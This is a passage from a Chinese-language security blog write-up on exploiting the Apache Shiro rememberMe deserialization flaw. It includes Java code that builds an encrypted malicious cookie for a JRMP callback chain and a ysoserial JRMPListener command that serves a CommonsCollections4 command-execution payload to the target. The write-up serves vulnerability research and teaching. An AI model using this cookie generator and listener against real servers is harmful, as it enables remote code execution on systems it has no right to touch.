final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

生成加密后的cookie,打一下就可以弹出计算器了:

image-20200623220014704
image-20200623220014704

JRMP

JRMP的反连不需要任何依赖,只受限于JDK版本,但是利用这个链的一个前提就是需要出网。

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;


public class RememberMeDemo {
public static void main(String[] args) throws Exception {

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(RememberMeDemo.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
String encrypt_data = new encrypt_demo().encrypt(proxy);
System.out.println(encrypt_data);
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

本地先用yso起一个JRMPListener:

1
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'touch success'

当反序列化后即可收到jrmp的连接请求:

image-20200623221638756.png
image-20200623221638756.png

此时jrmplistener会将恶意的序列化对象传过去,当shiro web这边反序列化后,即可触发rce,而此时的反序列化并不会使用shiro自带的resolveClass,所以是没有限制的。

但是我本地并没有复现成功,即使收到请求了,也没有到反序列化那步,如果有师傅清楚为什么,可以pm我,我的mail为p1g3cyx@gmail.com

总结

整个漏洞还是比较简单的,但是因为shiro自己实现了一个resolveClass,导致可用的利用链少了很多,这是我的第一篇调试java web的文章,如果有什么疑问,欢迎私信我。在写这篇文章的时候,磕磕碰碰,前前后后因为环境的原因卡了很久,这也是我把搭建环境这里写的这么详细的原因…只愿以后不要在遇到这种bug…当然,在这里还是感谢下那些帮助过我的师傅,其中有很多D0-Team的大哥,还有Syc的李三师傅,十分感谢。